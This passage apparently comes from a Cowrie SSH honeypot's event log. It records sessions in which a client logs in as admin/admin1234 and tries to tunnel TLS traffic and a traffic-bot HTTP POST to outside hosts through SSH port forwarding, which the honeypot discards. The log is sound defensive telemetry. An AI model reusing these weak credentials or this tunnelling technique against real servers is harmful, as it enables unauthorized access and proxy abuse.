zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe9N\\xc5\\t\\x16\\xfbe:\\xdbk\\xf2\\x9a\"p\\\\\\x9fr\\xaac\\xd5{\\x90\\x9d\\x19\\x82@S\\x88!\\xb2CD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03%\\xc2\\x82Z[lZ95\\x00\\xe5$\\x92\\xfa\\x06@\\x19\\xef\\xd74Jo\\x04U6\\x98\\xbf\\x1bhhB\\x10 \\x0b\\xae?8\\xe2|\\xb9\\xa4=\\xbd]_A$\\x1e\\xdah4<\\x9ce3-\\xc9\\xb3\\xa2B\\xec\\xa2\\xd5\\xa5\\xee\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe9N\\xc5\\t\\x16\\xfbe:\\xdbk\\xf2\\x9a\"p\\\\\\x9fr\\xaac\\xd5{\\x90\\x9d\\x19\\x82@S\\x88!\\xb2CD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:21.620877Z","src_ip":"23.175.50.51","session":"dd94d690f472","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:21.684135Z","session":"dd94d690f472","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:21.741212Z","src_ip":"23.175.50.51","session":"dd94d690f472","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xea\\xbd\\xc9\\x81m+\\xfb\\xcc\\r\\xda(\\x15\\x96\\x811\\x91\\xf4\\x02\\xa3\\x93JeY\\xee\\xafw\\xfd\\x01\\x10/\\x87\\xeb \\xc9\\x16\\n\\x0f6\\xe2\\xe5L\\x83M\\xf5\\x10\\xf9\\xf7Ps\\x9bDj;\\x8bUn_<PI\\x12CP\\xfb\\t\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0c\\x13+$nl\\xd3)6\\xdcG\\\\\\xc18*I\\x90>\\xa5\\x99\\xae\\xe4$\\x8b\\xae\\x0f\\xf2^\\xa34\\xefk\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xea\\xbd\\xc9\\x81m+\\xfb\\xcc\\r\\xda(\\x15\\x96\\x811\\x91\\xf4\\x02\\xa3\\x93JeY\\xee\\xafw\\xfd\\x01\\x10/\\x87\\xeb \\xc9\\x16\\n\\x0f6\\xe2\\xe5L\\x83M\\xf5\\x10\\xf9\\xf7Ps\\x9bDj;\\x8bUn_<PI\\x12CP\\xfb\\t\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0c\\x13+$nl\\xd3)6\\xdcG\\\\\\xc18*I\\x90>\\xa5\\x99\\xae\\xe4$\\x8b\\xae\\x0f\\xf2^\\xa34\\xefk\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:21.743837Z","src_ip":"23.175.50.51","session":"dd94d690f472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:27.414898Z","src_ip":"23.175.50.51","session":"dd94d690f472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":51139,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a16dbf36daa","protocol":"ssh","message":"New connection: 23.175.50.52:51139 (10.17.0.5:22) [session: 2a16dbf36daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:27.712358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:27.722449Z","src_ip":"23.175.50.52","session":"2a16dbf36daa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:27.927372Z","src_ip":"23.175.50.52","session":"2a16dbf36daa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:29.425656Z","src_ip":"23.175.50.52","session":"2a16dbf36daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:39.572308Z","session":"2a16dbf36daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:39.629869Z","src_ip":"23.175.50.52","session":"2a16dbf36daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 Edg/84.0.522.59\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SlZSdHZvb2VUZXt9SEVrew%3D%3DgfdlfemfgDoBybAJM%2FAGLgeun3IQIk6J6N9gnImUQSi0Ax%2B5%2Bvbxirna7NxEb%2F2DKonVylulGoWG8B1aJSQVCceQk9zcnvOUg0VRI8bh7zMPsdrDrSMzsj5ItS1kb7BZuEBfMwG0Lr%2F9cUaZnhNtr22R4Qy8jzd%2Fv4jlLk5mW3LzaDxPh6W69CiqUNqdvpw1ZcTV0Itlvvhj%2FNpZtf3LZeYOGNQfbodzVM9P6ccAz7BnHDhVxihPxyK4SBaUWuL1UdSctcApfmS2ChGwjyJmrMYgIlaMZvmRTSXYuDgfvFIUSmIC%2FVpQ3kL6lqJIJ4B4BPhdowbnVY6k1BtvtSF5PsJ%2BJkmDnpmobzjsSJZOw7OZQhbnygmkSbD0THHA7yhgeCjPZg8Uu3kfwAB7to85QzxeMrKCluzxjCQ6HbB7uE92Wnmz9RP3eo39onF7tEBJJqLYHJQPd36kQv2mA5cJSW0tyiG4taanfrpCLG2MrlCmENU7mq3Wk3PJx2UpSI9pjZhBgwG98az2P4Yp2oW7noxyuoYiJuVki2dQg7NUEkusaS%2FEednR2%2FsGINLUsAy9W%2Fy9IUp%2BVB0KaIRCHbVwmAjLMi27w0U1HQIlrZOkeg9sB8H42zBH%2BlajeQMlPncII76DbD%2BWb%2Fz57hOsljzMcKG%2FUU40A8GOjkBinEh6i%2BXMlZnSlbc9X1jgwVd2rg5P%2B28IlTh3nc5yVA7pEym3AK7z%2BHvNW%2F0HAKsElNlcO7o%2F6tVgV%2F2BNpAV08GN%2Bk9vahYY9pKGtKS8RgI5VoH4ziB0grKeIiSJbQww0DejALewQkcJEwWBQAGTmd2ROyJC8L5IuXNHwULO5%2FV%2FWGQhZGzGLw6OgCu3P%2B11l1ZRih3ZJumqobFSkwLL0eiJhSIGhDFcPhLRcg6uALzeHQV4QTQkIrwhK4JHEJc%2F4DcUK5QhjqzErlev21Dlr0JpARhlZULHnqfxby8UJ%2BN82t%2FlL5%2F%2BowELmlkUnb6m%2F0ue%2B6zMWWcXj5kYUPfWUbxjen%2B8kbv5CTbvycIs1mk4D3ZlJd4JGha3Ji0%2FUXYNiZyaDzU%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 Edg/84.0.522.59\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SlZSdHZvb2VUZXt9SEVrew%3D%3DgfdlfemfgDoBybAJM%2FAGLgeun3IQIk6J6N9gnImUQSi0Ax%2B5%2Bvbxirna7NxEb%2F2DKonVylulGoWG8B1aJSQVCceQk9zcnvOUg0VRI8bh7zMPsdrDrSMzsj5ItS1kb7BZuEBfMwG0Lr%2F9cUaZnhNtr22R4Qy8jzd%2Fv4jlLk5mW3LzaDxPh6W69CiqUNqdvpw1ZcTV0Itlvvhj%2FNpZtf3LZeYOGNQfbodzVM9P6ccAz7BnHDhVxihPxyK4SBaUWuL1UdSctcApfmS2ChGwjyJmrMYgIlaMZvmRTSXYuDgfvFIUSmIC%2FVpQ3kL6lqJIJ4B4BPhdowbnVY6k1BtvtSF5PsJ%2BJkmDnpmobzjsSJZOw7OZQhbnygmkSbD0THHA7yhgeCjPZg8Uu3kfwAB7to85QzxeMrKCluzxjCQ6HbB7uE92Wnmz9RP3eo39onF7tEBJJqLYHJQPd36kQv2mA5cJSW0tyiG4taanfrpCLG2MrlCmENU7mq3Wk3PJx2UpSI9pjZhBgwG98az2P4Yp2oW7noxyuoYiJuVki2dQg7NUEkusaS%2FEednR2%2FsGINLUsAy9W%2Fy9IUp%2BVB0KaIRCHbVwmAjLMi27w0U1HQIlrZOkeg9sB8H42zBH%2BlajeQMlPncII76DbD%2BWb%2Fz57hOsljzMcKG%2FUU40A8GOjkBinEh6i%2BXMlZnSlbc9X1jgwVd2rg5P%2B28IlTh3nc5yVA7pEym3AK7z%2BHvNW%2F0HAKsElNlcO7o%2F6tVgV%2F2BNpAV08GN%2Bk9vahYY9pKGtKS8RgI5VoH4ziB0grKeIiSJbQww0DejALewQkcJEwWBQAGTmd2ROyJC8L5IuXNHwULO5%2FV%2FWGQhZGzGLw6OgCu3P%2B11l1ZRih3ZJumqobFSkwLL0eiJhSIGhDFcPhLRcg6uALzeHQV4QTQkIrwhK4JHEJc%2F4DcUK5QhjqzErlev21Dlr0JpARhlZULHnqfxby8UJ%2BN82t%2FlL5%2F%2BowELmlkUnb6m%2F0ue%2B6zMWWcXj5kYUPfWUbxjen%2B8kbv5CTbvycIs1mk4D3ZlJd4JGha3Ji0%2FUXYNiZyaDzU%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:39.632787Z","src_ip":"23.175.50.52","session":"2a16dbf36daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:40.128772Z","session":"2a16dbf36daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:40.188907Z","src_ip":"23.175.50.52","session":"2a16dbf36daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc0?\\x9c\\x88\\x07\\xaf\\x89\\x0cq'Z5= i_4\\xf9S[\\xfaS\\xb4\\x96}G\\x92\\x02\\x14WHc \\x13s\\x155\\x9e\\xb0qj\\xe7p\\xa3\\x8dY_\\xb5\\xae\\xe9$\\x85c\\xcc\\x12\\xe6\\x1e\\xc7\\xc3\\xc9\\xe32\\x8cz\\x12\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 